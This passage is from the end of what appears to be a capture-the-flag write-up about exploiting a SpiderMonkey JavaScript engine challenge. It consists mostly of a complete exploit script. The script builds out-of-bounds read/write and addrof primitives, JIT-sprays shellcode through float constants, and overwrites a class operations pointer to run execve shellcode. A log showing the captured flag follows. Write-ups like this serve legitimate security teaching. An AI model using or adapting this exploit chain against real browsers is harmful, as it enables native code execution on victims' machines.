print(`addrof(jitme) = ${hex(addrof_jitme)}`);
print(`code page at = ${hex(codepage_addr)}`);

const code = read(codepage_addr, 0x1000n);

let stage1_offset = -1;
for (let i = 0; i < 0x1000 - 8; i++) {
    if (code[i] == 0x37 && code[i + 1] == 0x13 && code[i + 2] == 0x37
        && code[i + 3] == 0x13 && code[i + 4] == 0x37 && code[i + 5] == 0x13
        && code[i + 6] == 0x37 && code[i + 7] == 0x13) {
        stage1_offset = i + 14;
        break;
    }
}

assert(stage1_offset !== -1);
const stage1_addr = BigInt(stage1_offset) + codepage_addr;
print(`stage1_addr = ${hex(stage1_addr)}`);

That’s basically it, not we just have to put it all together

let converter = new ArrayBuffer(8);
let u64view = new BigUint64Array(converter);
let f64view = new Float64Array(converter);

// Bit-cast an uint64_t to a float64
function i2d(x) {
    u64view[0] = x;
    return f64view[0];
}

// Bit-cast a float64 to an uint64_t
function d2i(x) {
    f64view[0] = x;
    return u64view[0];
}

function print(x) {
    console.log(x);
}

function hex(x) {
    return `0x${x.toString(16)}`;
}

function assert(x, msg) {
    if (!x) {
        throw new Error(msg);
    }
}

// https://github.com/vigneshsrao/CVE-2019-11707/blob/master/exploit.js#L196
// mprotects the shellcode whose address is in [rcx] as rwx and jumps to it
function jitme () {
    const magic = 4.183559446463817e-216;

    const g1 = 1.4501798452584495e-277;
    const g2 = 1.4499730218924257e-277;
    const g3 = 1.4632559875735264e-277;
    const g4 = 1.4364759325952765e-277;
    const g5 = 1.450128571490163e-277;
    const g6 = 1.4501798485024445e-277;
    const g7 = 1.4345589835166586e-277;
    const g8 = 1.616527814e-314;
}

function pwn() {
    let a = new Array(1,2,3,4,5,6);
    let b = new BigUint64Array(1);

    // Read 64 bits from addr
    function read64(addr) {
        const olddata = a.oob(13);
        a.oob(13, i2d(addr))
        const ret = b[0];
        a.oob(13, olddata);
        return ret;
    }

    // Write 64 bits to addr
    function write64(addr, value) {
        const olddata = a.oob(13);
        a.oob(13, i2d(addr));
        b[0] = value;
        a.oob(13, olddata);
    }

    // Read size bytes from addr
    function read(addr, size) {
        assert(size % 8n === 0n);
        let ret = new BigUint64Array(Number(size) / 8);
        for (let i = 0n; i < size / 8n; i++) {
            ret[i] = read64(addr + i * 8n)
        }
        return new Uint8Array(ret.buffer);
    }

    // Return the address of a JavaScript object
    function addrof(x) {
        a.oob(14, x);
        return b[0] & 0xffffffffffffn;
    }

    for (let i = 0; i < 100000; i++) {
        jitme();
    }

    const addrof_jitme = addrof(jitme);
    const codepage_addr = read64(read64(addrof_jitme + 0x28n)) & 0xfffffffffffff000n;
    print(`addrof(jitme) = ${hex(addrof_jitme)}`);
    print(`code page at = ${hex(codepage_addr)}`);

    const code = read(codepage_addr, 0x1000n);
    let stage1_offset = -1;
    for (let i = 0; i < 0x1000 - 8; i++) {
        if (code[i] == 0x37 && code[i + 1] == 0x13 && code[i + 2] == 0x37
            && code[i + 3] == 0x13 && code[i + 4] == 0x37 && code[i + 5] == 0x13
            && code[i + 6] == 0x37 && code[i + 7] == 0x13) {
            stage1_offset = i + 14;
            break;
        }
    }

    assert(stage1_offset !== -1);
    const stage1_addr = BigInt(stage1_offset) + codepage_addr;
    print(`stage1_addr = ${hex(stage1_addr)}`);

    // execve('/reader')
    const shellcode = new Uint8Array([0x48, 0xb8, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x50, 0x48, 0xb8, 0x2e, 0x73, 0x64, 0x60, 0x65, 0x64, 0x73, 0x1, 0x48, 0x31, 0x4, 0x24, 0x48, 0x89, 0xe7, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x3b, 0x58, 0xf, 0x5, 0xcc]);

    const addrof_shellcode = addrof(shellcode);
    const shellcode_shape = read64(addrof_shellcode);
    const shellcode_base_shape = read64(shellcode_shape);
    const shellcode_class = read64(shellcode_base_shape);
    const shellcode_ops = read64(shellcode_class + 0x10n);
    const shellcode_data = read64(addrof_shellcode + 0x30n);
    print(`addrof(shellcode) = ${hex(addrof_shellcode)}`);
    print(`shellcode->shape = ${hex(shellcode_shape)}`);
    print(`shellcode->shape->base_shape = ${hex(shellcode_base_shape)}`);
    print(`shellcode->shape->base_shape->class = ${hex(shellcode_class)}`);
    print(`shellcode->shape->base_shape->class->ops = ${hex(shellcode_ops)}`);
    print(`shellcode->data = ${hex(shellcode_data)}`);

    const fake_class = new BigUint64Array(48);
    const fake_class_buffer = read64(addrof(fake_class) + 0x30n);
    for (let i = 0; i < 6; i++) {
        fake_class[i] = read64(shellcode_class + BigInt(i) * 8n);
    }

    const fake_ops = new BigUint64Array(88);
    const fake_ops_buffer = read64(addrof(fake_ops) + 0x30n);
    for (let i = 0; i < 11; i++) {
        fake_ops[i] = read64(shellcode_ops + BigInt(i) * 8n);
    }

    fake_ops[0] = stage1_addr;
    fake_class[2] = fake_ops_buffer;
    write64(shellcode_base_shape, fake_class_buffer);

    shellcode.someprop = i2d(shellcode_data);
}

try {
    pwn();
} catch (e) {
    print(`Got exception: ${e}`);
}
$ python3 upload.py
[+] Opening connection to outfoxed.be.ax on port 37685: Done
[*] Switching to interactive mode
Enter exploit followed by EOF: 
[GFX1-]: glxtest: libpci missing
[GFX1-]: glxtest: libGL.so.1 missing
[GFX1-]: glxtest: libEGL missing
[GFX1-]: No GPUs detected via PCI
[GFX1-]: RenderCompositorSWGL failed mapping default framebuffer, no dt
corctf{just_4_b4by_f0x}
[*] Interrupted
[*] Closed connection to outfoxed.be.ax port 37685

Conclusion

In this challenge we exploited a bug in SpiderMonkey to gain arbitrary native code execution. I had never worked with Firefox before so this was a nice change from the usual Chrome challenges and at the same time it shows how similar the various JS engines are. Thanks to the author for writing this!